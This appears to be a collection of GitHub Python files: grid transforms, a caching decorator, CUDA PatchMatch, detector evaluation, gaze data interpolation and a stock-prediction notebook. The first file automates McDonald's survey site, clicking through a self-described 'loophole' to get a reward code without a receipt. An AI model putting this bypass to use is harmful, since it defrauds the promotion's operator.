+{"seq_id":"17077860924","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import NoSuchElementException\n\n\ndef click_next(): # helper function to click the next button on the webpage\n    driver.find_element_by_id(\"NextButton\").click()\n\ninitial_button_xpath = \"/html/body/div[1]/div[3]/div[2]/form/div/div[1]/div[2]/div[1]/span/span\"\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://mcdfoodforthoughts.com/\")\nclick_next()\ndriver.find_element_by_xpath(initial_button_xpath).click() # Do you have your receipt available\n\n\n# McDonalds site is poorly designed, a loophole is to continually press the next button \n# until we reach a page with no next button which is the page which contains the code\nwhile True:\n    try:\n        click_next()\n    except NoSuchElementException:\n        break\n\n# Parse the HTML containing the code and print as an integer\ncode = driver.find_element_by_class_name(\"ValCode\")\ncode = code.get_attribute('innerHTML')\ncode = code.split(\" \")\ncode = int(code[-1])\nprint(code)\n\n\n","repo_name":"Omar-V2/Bigger-Mac","sub_path":"AutoMc.py","file_name":"AutoMc.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7028835815","text":"import numpy as np\n\nfrom gcpy.grid.horiz import csgrid_GMAO\n\n\ndef rotate_vectors(x, y, z, k, theta):\n    x = np.atleast_1d(x)\n    y = np.atleast_1d(y)\n    z = np.atleast_1d(z)\n    v = np.moveaxis(np.array([x, y, z]), 0, -1)  # shape: (..., 3)\n    v = v*np.cos(theta) + np.cross(k, v) * np.sin(theta) + k[np.newaxis, :] * np.dot(v, k)[:, np.newaxis] * (1-np.cos(theta))\n    return v[..., 0], v[..., 1], v[..., 2]\n\n\ndef cartesian_to_spherical(x, y, z):\n    x = np.atleast_1d(x)\n    y = np.atleast_1d(y)\n    z = np.atleast_1d(z)\n    # Calculate x,y in spherical coordinates\n    y_sph = np.arcsin(z)\n    x_sph = np.arctan2(y, x)\n    return x_sph, y_sph\n\n\ndef spherical_to_cartesian(x, y):\n    x_car = np.cos(y) * np.cos(x)\n    y_car = np.cos(y) * np.sin(x)\n    z_car = np.sin(y)\n    return x_car, y_car, z_car\n\n\ndef schmidt_transform(x, y, s):\n    D = (1 - s ** 2) / (1 + s ** 2)\n    y = np.arcsin((D + np.sin(y)) / (1 + D * np.sin(y)))\n    return x, y\n\n\ndef scs_transform(x, y, s, tx, ty):\n    # Convert xy to radians\n    x = x * np.pi / 180\n    y = y * np.pi / 180\n    tx = tx * np.pi / 180\n    ty = ty * np.pi / 180\n    # Calculate rotation about x, and z axes\n    x0 = np.pi\n    y0 = -np.pi/2\n    theta_x = ty - y0\n    theta_z = tx - x0\n    # Apply schmidt transform\n    x, y = schmidt_transform(x, y, s)\n    # Convert to cartesian coordinates\n    x, y, z = spherical_to_cartesian(x, y)\n    # Rotate about x axis\n    xaxis = np.array([0, 1, 0])\n    x, y, z = rotate_vectors(x, y, z, xaxis, theta_x)\n    # Rotate about z axis\n    zaxis = np.array([0, 0, 1])\n    x, y, z = rotate_vectors(x, y, z, zaxis, theta_z)\n    # Convert back to spherical coordinates\n    x, y = cartesian_to_spherical(x, y, z)\n    # Convert back to degrees and return\n    x = x * 180 / np.pi\n    y = y * 180 / np.pi\n    return x, y\n\ndef make_grid_SCS(csres: int, stretch_factor: float, target_lat: float, target_lon: float):\n    csgrid = csgrid_GMAO(csres, offset=0)\n    csgrid_list = [None]*6\n    for i in range(6):\n        lat = csgrid['lat'][i].flatten()\n        lon = csgrid['lon'][i].flatten()\n        lon, lat = scs_transform(lon, lat, stretch_factor, target_lon, target_lat)\n        lat = lat.reshape((csres, csres))\n        lon = lon.reshape((csres, csres))\n        lat_b = csgrid['lat_b'][i].flatten()\n        lon_b = csgrid['lon_b'][i].flatten()\n        lon_b, lat_b = scs_transform(lon_b, lat_b, stretch_factor, target_lon, target_lat)\n        lat_b = lat_b.reshape((csres+1, csres+1))\n        lon_b = lon_b.reshape((csres+1, csres+1))\n        csgrid_list[i] = {'lat': lat,\n                          'lon': lon,\n                          'lat_b': lat_b,\n                          'lon_b': lon_b}\n    return [csgrid, csgrid_list]","repo_name":"LiamBindle/sg-restart-regridder","sub_path":"sg/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70784432055","text":"\"\"\"This module contains a decorator :func:`cached` that can be used to\ncache the results of any Python functions to disk.\n\nThis is useful when you have functions that take a long time to\ncompute their value, and you want to cache the results of those\nfunctions between runs.\n\nPython's :mod:`pickle` is used to serialize data.  All cache files go\ninto the `cache/` directory inside your working directory.\n\n`@cached` uses a cache key function to find out if it has the value\nfor some given function arguments cached on disk.  The way it\ncalculates that cache key by default is to simply use the string\nrepresentation of all arguments passed into the function.  Thus, the\ndefault cache key function looks like this:\n\n.. code-block:: python\n\n    def default_cache_key(*args, **kwargs):\n        return str(args) + str(sorted(kwargs.items()))\n\nHere is an example use of the :func:`cached` decorator:\n\n.. code-block:: python\n\n    import math\n    @cached()\n    def fac(x):\n        print 'called!'\n        return math.factorial(x)\n\n    fac(20)\n    called!\n    2432902008176640000\n    fac(20)\n    2432902008176640000\n\nOften you will want to use a more intelligent cache key, one that\ntakes more things into account.  Here's an example cache key function\nfor a cache decorator used with a `transform` method of a scikit-learn\n:class:`~sklearn.base.BaseEstimator`:\n\n.. doctest::\n\n    >>> def transform_cache_key(self, X):\n    ...     return ','.join([\n    ...         str(X[:20]),\n    ...         str(X[-20:]),\n    ...         str(X.shape),\n    ...         str(sorted(self.get_params().items())),\n    ...         ])\n\nThis function puts the first and the last twenty rows of the matrix\n`X` into the cache key.  On top of that, it adds the shape of the\nmatrix `X.shape` along with the items in `self.get_params`, which with\na scikit-learn :class:`~sklearn.base.BaseEstimator` class is the\ndictionary of model parameters.  This makes sure that even though the\ninput matrix is the same, it will still calculate the value again if\nthe value of `self.get_params()` is different.\n\nYour estimator class can then use the decorator like so:\n\n.. code-block:: python\n\n    class MyEstimator(BaseEstimator):\n        @cached(transform_cache_key)\n        def transform(self, X):\n            # ...\n\"\"\"\n\nfrom functools import wraps\nimport hashlib\nimport logging\nimport random\nimport os\nimport string\nimport traceback\n\nfrom joblib import numpy_pickle\n\n\nCACHE_PATH = 'cache/'\nif not os.path.exists(CACHE_PATH):  # pragma: no cover\n    os.mkdir(CACHE_PATH)\n\nlogger = logging.getLogger(__name__)\n\n\ndef default_cache_key(*args, **kwargs):\n    return str(args) + str(sorted(kwargs.items()))\n\n\nclass DontCache(Exception):\n    pass\n\n\ndef cached(cache_key=default_cache_key, cache_path=None):\n    def cached(func):\n        @wraps(func)\n        def wrapper(*args, **kwargs):\n            # Calculation of the cache key is delegated to a function\n            # that's passed in via the decorator call\n            # (`default_cache_key` by default).\n            try:\n                key = str(cache_key(*args, **kwargs)).encode('ascii')\n            except DontCache:\n                return func(*args, **kwargs)\n\n            hashed_key = hashlib.sha1(key).hexdigest()[:8]\n\n            # We construct the filename using the cache key.  If the\n            # file exists, unpickle and return the value.\n            filename = os.path.join(\n                cache_path or CACHE_PATH,\n                '{}.{}-cache-{}'.format(\n                    func.__module__, func.__name__, hashed_key))\n\n            if os.path.exists(filename):\n                filesize = os.path.getsize(filename)\n                size = \"%0.1f MB\" % (filesize / (1024 * 1024.0))\n                logger.debug(\" * cache hit: {} ({})\".format(filename, size))\n                return numpy_pickle.load(filename)\n            else:\n                logger.debug(\" * cache miss: {}\".format(filename))\n                value = func(*args, **kwargs)\n                tmp_filename = '{}-{}.tmp'.format(\n                    filename,\n                    ''.join(random.sample(string.ascii_letters, 4)),\n                    )\n                try:\n                    numpy_pickle.dump(value, tmp_filename, compress=9)\n                    os.rename(tmp_filename, filename)\n                except Exception:\n                    logger.exception(\n                        \"Saving pickle {} resulted in Exception\".format(\n                        filename))\n                return value\n\n        wrapper.uncached = func\n        return wrapper\n    return cached\n","repo_name":"dnouri/nolearn","sub_path":"nolearn/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","stars":947,"dataset":"github-code","pt":"22"}
+{"seq_id":"5821138885","text":"\"\"\"\nThe Patchmatch Algorithm. The actual algorithm is a nearly\nline to line port of the original c++ version.\nThe distance calculation is different to leverage numpy's vectorized\noperations.\n\nThis version uses 4 images instead of 2.\nYou can supply the same image twice to use patchmatch between 2 images.\n\n\"\"\"\nimport os\npackage_directory = os.path.dirname(os.path.abspath(__file__))\n\nimport numpy as np\nimport cv2\nimport pycuda.autoinit\nimport pycuda.driver as drv\nimport numpy\nimport pycuda.autoinit\nimport pycuda.gpuarray as gpuarray\nimport numpy as np\nfrom pycuda.compiler import SourceModule\nimport cv2\n\nfrom PIL import Image\n\nclass PatchMatch(object):\n    def __init__(self, a, aa, b, bb, patch_size):\n        \"\"\"\n        Initialize Patchmatch Object.\n        This method also randomizes the nnf , which will eventually\n        be optimized.\n        \"\"\"\n        assert a.shape == b.shape == aa.shape == bb.shape, \"Dimensions were unequal for patch-matching input\"\n        print(\"called\")\n        self.A = a.copy(order='C')\n        self.B = b.copy(order='C')\n        self.AA = aa.copy(order='C')\n        self.BB = bb.copy(order='C')\n        self.patch_size = patch_size\n        self.nnf = np.zeros(shape=(self.A.shape[0], self.A.shape[1],2)).astype(np.int32)  # the nearest neighbour field\n        self.nnd = np.random.rand(self.A.shape[0], self.A.shape[1]).astype(np.float32)   # the distance map for the nnf\n        self.initialise_nnf()\n\n    def initialise_nnf(self):\n        \"\"\"\n        Set up a random NNF\n        Then calculate the distances to fill up the NND\n        :return:\n        \"\"\"\n        self.nnf = self.nnf.transpose((2, 0, 1))\n        self.nnf[0] = np.random.randint(self.B.shape[1], size=(self.A.shape[0], self.A.shape[1]))\n        self.nnf[1] = np.random.randint(self.B.shape[0], size=(self.A.shape[0], self.A.shape[1]))\n        self.nnf = self.nnf.transpose((1, 2, 0))\n        self.nnf = self.nnf.copy(\"C\")\n\n    def reconstruct_image(self, img_a):\n        \"\"\"\n        Reconstruct image using the NNF and img_a.\n        :param img_a: the patches to reconstruct from\n        :return: reconstructed image\n        \"\"\"\n        final_img = np.zeros_like(img_a)\n        size = self.nnf.shape[0]\n        scale = img_a.shape[0] // self.nnf.shape[0]\n        for i in range(size):\n            for j in range(size):\n                x, y = self.nnf[i, j]\n                if final_img[scale * i:scale * (i + 1), scale * j:scale * (j + 1)].shape == img_a[scale * y:scale * (y + 1), scale * x:scale * (x + 1)].shape:\n                    final_img[scale * i:scale * (i + 1), scale * j:scale * (j + 1)] = img_a[scale * y:scale * (y + 1), scale * x:scale * (x + 1)]\n        return final_img\n\n    def upsample_update(self, a, aa, b, bb):\n        assert a.shape == b.shape == aa.shape == bb.shape, \"Dimensions were unequal for patch-matching input\"\n\n        self.A = a.copy(order='C')\n        self.B = b.copy(order='C')\n        self.AA = aa.copy(order='C')\n        self.BB = bb.copy(order='C')\n        self.nnf = self.upsample_nnf(a.shape[:2]).copy(\"C\")\n        \n\n\n    def upsample_nnf(self, shape):\n        \"\"\"\n        Upsample NNF based on size. It uses nearest neighbour interpolation\n        :param size: INT size to upsample to.\n\n        :return: upsampled NNF\n        \"\"\"\n\n        temp = np.zeros((self.nnf.shape[0], self.nnf.shape[1], 3))\n\n        for y in range(self.nnf.shape[0]):\n            for x in range(self.nnf.shape[1]):\n                temp[y][x] = [self.nnf[y][x][0], self.nnf[y][x][1], 0]\n\n        img = np.zeros(shape=(shape[0], shape[1], 2), dtype=np.int)\n        small_size = self.nnf.shape\n        aw_ratio = ((shape[1]) // small_size[1])\n        ah_ratio = ((shape[0]) // small_size[0])\n        print(aw_ratio, ah_ratio)\n        temp = cv2.resize(temp, None, fx=ah_ratio, fy=aw_ratio, interpolation=cv2.INTER_NEAREST)\n\n        for i in range(temp.shape[0]):\n            for j in range(temp.shape[1]):\n                pos = temp[i, j]\n                img[i, j] = pos[0] * ah_ratio, pos[1] * aw_ratio\n\n        return img\n\n\n    def reconstruct_avg(self, img, patch_size=5):\n        \"\"\"\n        Reconstruct image using average voting.\n        :param img: the image to reconstruct from. Numpy array of dim H*W*3\n        :param patch_size: the patch size to use\n\n        :return: reconstructed image\n        \"\"\"\n\n        final = np.zeros_like(img)\n        for i in range(img.shape[0]):\n            for j in range(img.shape[1]):\n\n                dx0 = dy0 = patch_size // 2\n                dx1 = dy1 = patch_size // 2 + 1\n                dx0 = min(j, dx0)\n                dx1 = min(img.shape[0] - j, dx1)\n                dy0 = min(i, dy0)\n                dy1 = min(img.shape[1] - i, dy1)\n\n                patch = self.nnf[i - dy0:i + dy1, j - dx0:j + dx1]\n\n                lookups = np.zeros(shape=(patch.shape[0], patch.shape[1], img.shape[2]), dtype=np.float32)\n\n                for ay in range(patch.shape[0]):\n                    for ax in range(patch.shape[1]):\n                        x, y = patch[ay, ax]\n                        #print(x, y)\n                        lookups[ay, ax] = img[y, x]\n\n                if lookups.size > 0:\n                    value = np.mean(lookups, axis=(0, 1))\n                    final[i, j] = value\n\n        return final\n\n\n    def visualize(self):\n        \"\"\"\n        Get the NNF visualisation\n        :return: The RGB Matrix of the NNF\n        \"\"\"\n        nnf = self.nnf\n\n        img = np.zeros((nnf.shape[0], nnf.shape[1], 3), dtype=np.uint8)\n\n        for i in range(nnf.shape[0]):\n            for j in range(nnf.shape[1]):\n                pos = nnf[i, j]\n                img[i, j, 0] = int(255 * (pos[0] / self.B.shape[1]))\n                img[i, j, 2] = int(255 * (pos[1] / self.B.shape[0]))\n\n        return img\n\n\n\n\n    def propagate(self, iters=2, rand_search_radius=500):\n        \"\"\"\n        Optimize the NNF using PatchMatch Algorithm\n        :param iters: number of iterations\n        :param rand_search_radius: max radius to use in random search\n        :return:\n        \"\"\"\n        mod = SourceModule(open(os.path.join(package_directory,\"patchmatch.cu\")).read(),no_extern_c=True)\n        patchmatch = mod.get_function(\"patch_match\")\n\n        rows = self.A.shape[0]\n        cols = self.A.shape[1]\n        channels = np.int32(self.A.shape[2])\n        nnf_t = np.zeros(shape=(rows,cols),dtype=np.uint32)\n        threads = 20\n\n        def get_blocks_for_dim(dim,blocks):\n            #if dim % blocks ==0:\n            #    return dim//blocks\n            return dim// blocks +1\n        patchmatch(\n            drv.In(self.A),\n            drv.In(self.AA),\n            drv.In(self.B),\n            drv.In(self.BB),\n            drv.InOut(self.nnf),\n            drv.InOut(nnf_t),\n            drv.InOut(self.nnd),\n            np.int32(rows),\n            np.int32(cols),\n            channels,\n            np.int32(self.patch_size),\n            np.int32(iters),\n            np.int32(8),\n            np.int32(rand_search_radius),\n        block=(threads,threads,1),\n        grid=(get_blocks_for_dim(rows,threads),\n              get_blocks_for_dim(cols,threads)))\n","repo_name":"avalonstrel/GatedConvolution_pytorch","sub_path":"models/deepimageanalogy/patchmatch/PatchMatchCuda.py","file_name":"PatchMatchCuda.py","file_ext":"py","file_size_in_byte":7116,"program_lang":"python","lang":"en","doc_type":"code","stars":416,"dataset":"github-code","pt":"22"}
+{"seq_id":"33230267110","text":"#Given a string containing many consecutive spaces, trim all spaces so that all words should contain only a single space between them.\r\n\r\ndef extraSpace():\r\n    s=input(\"Enter a string:\");\r\n    ver=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\r\n    s=s.strip(\" \");\r\n    res=\"\";\r\n    n=len(s);\r\n    for i in range(n):\r\n        if(s[i]==' ' and (s[i+1] not in ver)):\r\n            continue;\r\n        else:\r\n            res+=s[i];\r\n    print(res);\r\n\r\nextraSpace();","repo_name":"hungry-me/General-programming","sub_path":"DS/src/Strings/Spacing/ExtraSpace.py","file_name":"ExtraSpace.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21481737842","text":"import argparse\nimport json\nimport os\n\nimport torch\nfrom detection_utils import (\n    create_dataloader,\n    get_test_transform,\n    myFasterRCNNDataset,\n)\nfrom evaluate import evaluate_detection\n\n# select device (whether GPU or CPU)\ndevice = (\n    torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n)\n\n\nclass Detector_Evaluate:\n    \"\"\"\n    A class for evaluating object detection models using pre-trained classification.\n\n    Parameters\n    ----------\n    args : argparse\n        Command-line arguments containing configuration settings.\n\n    Attributes\n    ----------\n    args : argparse\n        The command-line arguments provided.\n    main_dir : str\n        The main directory path.\n    annotation_file : str\n        The filename of coco annotation JSON file.\n    score_threshold : float\n        The score threshold for confidence detection.\n    ious_threshold : float\n        The ious threshold for detection bounding boxes.\n    trained_model:\n        The pre-trained subject classification model.\n    evaluate_dataset:\n        An instance of myFasterRCNNDataset for test data.\n    evaluate_dataloader:\n        The DataLoader for the test dataset.\n    \"\"\"\n\n    def __init__(self, args: argparse.Namespace) -> None:\n        self.args = args\n        self.main_dir = args.main_dir\n        self.annotation_file = args.annotation_file\n        self.ious_threshold = args.ious_threshold\n        self.score_threshold = args.score_threshold\n        self.annotation = f\"{self.main_dir}/annotations/{self.annotation_file}\"\n\n    def _load_pretrain_model(self) -> None:\n        \"\"\"\n        Load the pre-trained subject classification model.\n        \"\"\"\n        # Load the pre-trained subject predictor\n        # TODO: deal with different model\n        self.trained_model = torch.load(\n            self.args.model_dir, map_location=torch.device(\"cpu\")\n        )\n\n    def _load_dataset(self) -> None:\n        \"\"\"Load images and annotation file for training\"\"\"\n\n        with open(self.annotation) as json_file:\n            coco_data = json.load(json_file)\n\n        self.evaluate_file_paths = []\n        for image_info in coco_data[\"images\"]:\n            image_id = image_info[\"id\"]\n            image_id -= 1  # reset the image_id to 0 to get the index\n            image_file = image_info[\"file_name\"]\n            video_file = image_file.split(\"_\")[1]\n\n            if video_file == \"09.08.2023-03-Left\":\n                continue\n\n            # taking the first 40 frames per video as training data\n            if image_id % 50 < 40:\n                continue\n            else:\n                self.evaluate_file_paths.append(image_file)\n\n        self.evaluate_dataset = myFasterRCNNDataset(\n            self.main_dir,\n            self.evaluate_file_paths,\n            self.annotation,\n            transforms=get_test_transform(),\n        )\n\n        self.evaluate_dataloader = create_dataloader(self.evaluate_dataset, 1)\n\n    def evaluate_model(self) -> None:\n        \"\"\"\n        Evaluate the pre-trained model on the testation dataset.\n\n        Returns:\n            None\n        \"\"\"\n        self._load_pretrain_model()\n        self.trained_model.eval()\n        self._load_dataset()\n\n        # pdb.set_trace()\n        evaluate_detection(\n            self.evaluate_dataloader,\n            self.trained_model,\n            self.ious_threshold,\n            self.score_threshold,\n        )\n\n\ndef main(args) -> None:\n    \"\"\"\n    Main function to orchestrate the testing process using Detector_Test.\n\n    Parameters\n    ----------\n    args : argparse\n        Arguments or configuration settings for testing.\n\n    Returns\n    -------\n        None\n    \"\"\"\n    eval = Detector_Evaluate(args)\n    eval.evaluate_model()\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--model_dir\",\n        type=str,\n        required=True,\n        help=\"location of trained model\",\n    )\n    parser.add_argument(\n        \"--main_dir\",\n        type=str,\n        required=True,\n        help=\"main location of images and coco annotation\",\n    )\n    parser.add_argument(\n        \"--annotation_file\",\n        type=str,\n        required=True,\n        help=\"filename for coco annotation\",\n    )\n    parser.add_argument(\n        \"--output_path\",\n        type=str,\n        default=os.getcwd(),\n        help=\"location of output video\",\n    )\n    parser.add_argument(\n        \"--score_threshold\",\n        type=float,\n        default=0.5,\n        help=\"threshold for confidence score\",\n    )\n    parser.add_argument(\n        \"--ious_threshold\",\n        type=float,\n        default=0.5,\n        help=\"threshold for IOU\",\n    )\n\n    args = parser.parse_args()\n    main(args)\n","repo_name":"SainsburyWellcomeCentre/crabs-exploration","sub_path":"crabs/detection_tracking/evaluate_model.py","file_name":"evaluate_model.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"16357944204","text":"import biorbd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport scipy\nimport scipy.io as sio\nfrom scipy import signal\nfrom IPython import embed\nimport pandas as pd\nimport quaternion\nimport mpl_toolkits.mplot3d.axes3d as p3\nimport matplotlib.animation as animation\nfrom os.path import exists\nfrom unproject_PI_2d_pixel_gaze_estimates import pixelPoints_to_gazeAngles\n\n\ndef get_data_at_same_timestamps(\n    Xsens_orientation,\n    Xsens_position,\n    Xsens_jointAngle,\n    xsens_start_of_move_index,\n    xsens_end_of_move_index,\n    time_vector_xsens,\n    start_of_move_index,\n    end_of_move_index,\n    time_vector_pupil_offset,\n    csv_eye_tracking,\n    Xsens_centerOfMass,\n    SCENE_CAMERA_SERIAL_NUMBER,\n    num_joints,\n    FLAG_PUPIL_ANGLES_PLOT=True,\n):\n\n    time_vector_pupil_per_move = [np.array([]) for i in range(len(start_of_move_index))]\n    for i in range(len(start_of_move_index)):\n        time_vector_pupil_per_move[i] = time_vector_pupil_offset[\n            int(start_of_move_index[i]) : int(end_of_move_index[i]) + 1\n        ]  # voir si c'est end+1 ou pas\n\n\n    # plt.figure()\n    # plt.plot(time_vector_pupil_offset, )\n    # plt.legend()\n    # plt.show()\n\n    Xsens_position_per_move = [np.array([]) for i in range(len(start_of_move_index))]\n    Xsens_jointAngle_per_move = [np.array([]) for i in range(len(start_of_move_index))]\n    for i in range(len(start_of_move_index)):\n        Xsens_position_per_move[i] = np.zeros((len(time_vector_pupil_per_move[i]), np.shape(Xsens_position)[1]))\n        Xsens_jointAngle_per_move[i] = np.zeros((len(time_vector_pupil_per_move[i]), np.shape(Xsens_jointAngle)[1]))\n        for j in range(np.shape(Xsens_position)[1]):\n            xsens_interp_on_pupil = scipy.interpolate.interp1d(\n                np.reshape(\n                    time_vector_xsens[int(xsens_start_of_move_index[i] - 2) : int(xsens_end_of_move_index[i]) + 2],\n                    (\n                        len(\n                            time_vector_xsens[\n                                int(xsens_start_of_move_index[i] - 2) : int(xsens_end_of_move_index[i]) + 2\n                            ]\n                        )\n                    ),\n                ),\n                Xsens_position[int(xsens_start_of_move_index[i] - 2) : int(xsens_end_of_move_index[i]) + 2, j],\n            )\n            Xsens_position_per_move[i][:, j] = xsens_interp_on_pupil(time_vector_pupil_per_move[i])\n\n        for j in range(np.shape(Xsens_jointAngle)[1]):\n            xsens_interp_on_pupil = scipy.interpolate.interp1d(\n                np.reshape(\n                    time_vector_xsens[int(xsens_start_of_move_index[i] - 2) : int(xsens_end_of_move_index[i]) + 2],\n                    (\n                        len(\n                            time_vector_xsens[\n                                int(xsens_start_of_move_index[i] - 2) : int(xsens_end_of_move_index[i]) + 2\n                            ]\n                        )\n                    ),\n                ),\n                Xsens_jointAngle[int(xsens_start_of_move_index[i] - 2) : int(xsens_end_of_move_index[i]) + 2, j],\n            )\n            Xsens_jointAngle_per_move[i][:, j] = xsens_interp_on_pupil(time_vector_pupil_per_move[i])\n\n\n    Xsens_orientation_per_move = [np.array([]) for _ in range(len(start_of_move_index))]\n    for i in range(len(start_of_move_index)):\n        Xsens_orientation_per_move[i] = np.zeros((len(time_vector_pupil_per_move[i]), 4 * num_joints))\n        for j in range(len(time_vector_pupil_per_move[i])):\n            idx_closest = np.argmin(np.abs(time_vector_pupil_per_move[i][j] - time_vector_xsens))\n            if time_vector_xsens[idx_closest] < time_vector_pupil_per_move[i][j]:\n                idx_0 = idx_closest\n                idx_1 = idx_closest + 1\n            else:\n                idx_0 = idx_closest - 1\n                idx_1 = idx_closest\n            t0 = time_vector_xsens[idx_0]\n            t1 = time_vector_xsens[idx_1]\n            for k in range(num_joints):\n                quat_0 = np.quaternion(\n                    Xsens_orientation[idx_0, 4 * k],\n                    Xsens_orientation[idx_0, 4 * k + 1],\n                    Xsens_orientation[idx_0, 4 * k + 2],\n                    Xsens_orientation[idx_0, 4 * k + 3],\n                )\n                quat_1 = np.quaternion(\n                    Xsens_orientation[idx_1, 4 * k],\n                    Xsens_orientation[idx_1, 4 * k + 1],\n                    Xsens_orientation[idx_1, 4 * k + 2],\n                    Xsens_orientation[idx_1, 4 * k + 3],\n                )\n                relative_time = (time_vector_pupil_per_move[i][j] - t0) / (t1 - t0)\n                interp_quat = quaternion.slerp_evaluate(quat_0, quat_1, relative_time).components\n\n                Xsens_orientation_per_move[i][j, 4 * k : 4 * (k + 1)] = interp_quat\n\n    Xsens_CoM_per_move = [np.array([]) for i in range(len(start_of_move_index))]\n    for i in range(len(start_of_move_index)):\n        Xsens_CoM_per_move[i] = np.zeros((len(time_vector_pupil_per_move[i]), 9))\n        for j in range(9):\n            xsens_interp_on_pupil = scipy.interpolate.interp1d(\n                np.reshape(\n                    time_vector_xsens[int(xsens_start_of_move_index[i]) - 2 : int(xsens_end_of_move_index[i]) + 2],\n                    len(time_vector_xsens[int(xsens_start_of_move_index[i]) - 2 : int(xsens_end_of_move_index[i]) + 2]),\n                ),\n                Xsens_centerOfMass[int(xsens_start_of_move_index[i]) - 2 : int(xsens_end_of_move_index[i]) + 2, j],\n            )\n            Xsens_CoM_per_move[i][:, j] = xsens_interp_on_pupil(time_vector_pupil_per_move[i])\n\n    elevation_pupil_pixel = csv_eye_tracking[:, 1]\n    azimuth_pupil_pixel = csv_eye_tracking[:, 2]\n    elevation, azimuth = pixelPoints_to_gazeAngles(\n        elevation_pupil_pixel, azimuth_pupil_pixel, SCENE_CAMERA_SERIAL_NUMBER\n    )\n\n    elevation_per_move = [np.array([]) for i in range(len(start_of_move_index))]\n    azimuth_per_move = [np.array([]) for i in range(len(start_of_move_index))]\n    for i in range(len(start_of_move_index)):\n        elevation_per_move[i] = elevation[\n            int(start_of_move_index[i]) : int(end_of_move_index[i]) + 1\n        ]  # voir si c'est end+1 ou pas\n        azimuth_per_move[i] = azimuth[\n            int(start_of_move_index[i]) : int(end_of_move_index[i]) + 1\n        ]  # voir si c'est end+1 ou pas\n\n    # if FLAG_PUPIL_ANGLES_PLOT:\n    #     plt.figure()\n    #     plt.plot(time_vector_pupil_offset, elevation, \"-r\", label=\"elevation\")\n    #     plt.plot(time_vector_pupil_offset, azimuth, \"-b\", label=\"azimuth\")\n    #     for i in range(len(time_vector_pupil_per_move)):\n    #         plt.plot(time_vector_pupil_per_move[i], elevation_per_move[i], \"-m\")\n    #         plt.plot(time_vector_pupil_per_move[i], azimuth_per_move[i], \"-c\")\n    #     plt.show()\n\n    return (\n        time_vector_pupil_per_move,\n        Xsens_orientation_per_move,\n        Xsens_position_per_move,\n        Xsens_jointAngle_per_move,\n        Xsens_CoM_per_move,\n        elevation_per_move,\n        azimuth_per_move,\n    )\n","repo_name":"EveCharbie/gaze_trajectory_Pupil_Xsens","sub_path":"get_data_at_same_timestamps.py","file_name":"get_data_at_same_timestamps.py","file_ext":"py","file_size_in_byte":7100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"24915802606","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.utils import shuffle\nimport warnings \nwarnings.filterwarnings(\"ignore\")\n\n\n# In[4]:\n\n\ndataset = pd.read_csv('C:/Users/Mehmet Alpay/Desktop/Software/anaconda kodlama/applerevenue .csv')\ndataset = shuffle(dataset)\ndataset.head()\n\n\n# In[5]:\n\n\ndataset.describe()\n\n\n# In[6]:\n\n\ndataset.info()\n\n\n# In[7]:\n\n\ndataset.isnull().sum()\n\n\n# In[8]:\n\n\nsns.set()\nsns.displot(data=dataset, x='open', kde=True, linewidth=1) \nplt.title(\"Analysing starting rate of the stock\")\nplt.show()\n\n\n# In[9]:\n\n\nsns.displot(data=dataset, x='high', kde=True, linewidth=1)\nplt.title('Analysing highest rate of the stock for the day')\nplt.show()\n\n\n# In[10]:\n\n\nsns.displot(data=dataset, x='low', kde=True, linewidth=1)\nplt.title('Analysing lowest rate of the stock for the day')\nplt.show()\n\n\n# In[11]:\n\n\nsns.displot(data=dataset, x='close', kde=True, linewidth=1)\nplt.title('Analysing closing rate of stock for the day')\nplt.show()\n\n\n# In[12]:\n\n\nsns.displot(data=dataset, x='volume', kde=True, linewidth=1)\nplt.title('Analysing volume for the day')\nplt.show()\n\n\n# In[13]:\n\n\nX = dataset.drop(columns=['date', 'profit or not', 'volume'])\nY = dataset['profit or not']\nX.head()\n\n\n# In[14]:\n\n\nx_train, x_test, y_train, y_test = train_test_split(X, Y, test_size=0.2)\n(x_train.shape, x_test.shape, y_train.shape, y_test.shape)\n\n\n# In[15]:\n\n\ntraining_model = LogisticRegression()\ntraining_model.fit(x_train, y_train)\ny_train_prediction = training_model.predict(x_train)\ny_train_prediction\n\n\n# In[16]:\n\n\ntraining_model.score(x_train, y_train)\n\n\n# In[17]:\n\n\ntraining_cf_matrix = confusion_matrix(y_train, y_train_prediction)\ntraining_cf_matrix\n\n\n# In[18]:\n\n\nsns.heatmap(training_cf_matrix/np.sum(training_cf_matrix), annot=True, fmt='.2%')\nplt.title('Analysis of model performance for training dataset')\nplt.show()\n\n\n# In[19]:\n\n\ny_test_prediction = training_model.predict(x_test)\ny_test_prediction\n\n\n# In[20]:\n\n\ntraining_model.score(x_test, y_test)\n\n\n# In[21]:\n\n\ntesting_cf_matrix = confusion_matrix(y_test, y_test_prediction)\ntesting_cf_matrix\n\n\n# In[22]:\n\n\nsns.heatmap(testing_cf_matrix/np.sum(testing_cf_matrix), annot=True, fmt='0.2%')\nplt.title('Analysing performance of the model for testing dataset')\nplt.show()\n\n\n# 